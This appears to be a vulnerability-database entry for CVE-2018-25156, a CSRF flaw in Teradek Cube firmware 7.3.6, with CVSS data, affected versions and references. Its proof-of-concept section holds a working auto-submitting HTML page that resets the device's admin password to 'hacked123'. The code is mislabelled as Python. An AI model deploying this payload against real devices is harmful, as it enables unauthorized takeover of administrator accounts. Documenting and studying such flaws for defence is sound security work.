CVE-2018-25156

Description

Teradek Cube 7.3.6 contains a cross-site request forgery vulnerability that allows attackers to change administrative passwords without proper request validation. Attackers can craft a malicious web page with a hidden form to submit password change requests to the device's system configuration interface.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:teradek:cube_firmware:7.3.6:build26850:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:teradek:cube:1.5:*:*:*:*:*:*:* - NOT VULNERABLE

Teradek Cube < 7.3.6

Teradek Cube 7.3.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2018-25156 CSRF Exploit for Teradek Cube -->
<!-- Target: Change admin password to 'hacked123' -->
<html>
  <body>
    <p>Teradek Cube CSRF Password Change Exploit</p>
    <script>history.pushState('', '', '/')</script>
    <form action="http://TARGET_IP/admin.cgi?table=users&action=edit" method="POST" enctype="text/plain" id="csrf">
      <input type="hidden" name="user&#95;id" value="0" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="hacked123" />
      <input type="hidden" name="confirm&#95;password" value="hacked123" />
      <input type="hidden" name="access&#95;level" value="admin" />
    </form>
    <script>
      document.getElementById('csrf').submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25156
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25156
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25156/
[4] VulDB https://vuldb.com/cve/CVE-2018-25156
[5] https://www.exploit-db.com/exploits/44675
[6] https://www.teradek.com
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5464.php
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5464.php

Raw JSON Data

JSON

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